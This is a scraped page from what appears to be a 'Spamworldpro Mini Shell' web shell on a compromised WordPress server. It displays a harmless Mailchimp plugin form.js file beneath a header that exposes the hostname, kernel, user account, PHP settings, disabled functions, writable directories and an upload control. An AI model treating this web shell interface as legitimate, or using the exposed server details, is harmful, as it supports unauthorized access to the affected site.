Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/mailchimp-for-wp/assets/src/js/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/mailchimp-for-wp/assets/src/js/forms/form.js
const serialize = require('form-serialize')
const populate = require('populate.js')

const Form = function (id, element) {
  this.id = id
  this.element = element || document.createElement('form')
  this.name = this.element.getAttribute('data-name') || 'Form #' + this.id
  this.errors = []
  this.started = false
}

Form.prototype.setData = function (data) {
  try {
    populate(this.element, data)
  } catch (e) {
    console.error(e)
  }
}

Form.prototype.getData = function () {
  return serialize(this.element, { hash: true, empty: true })
}

Form.prototype.getSerializedData = function () {
  return serialize(this.element, { hash: false, empty: true })
}

Form.prototype.setResponse = function (msg) {
  this.element.querySelector('.mc4wp-response').innerHTML = msg
}

// revert back to original state
Form.prototype.reset = function () {
  this.setResponse('')
  this.element.querySelector('.mc4wp-form-fields').style.display = ''
  this.element.reset()
}

module.exports = Form

Spamworldpro Mini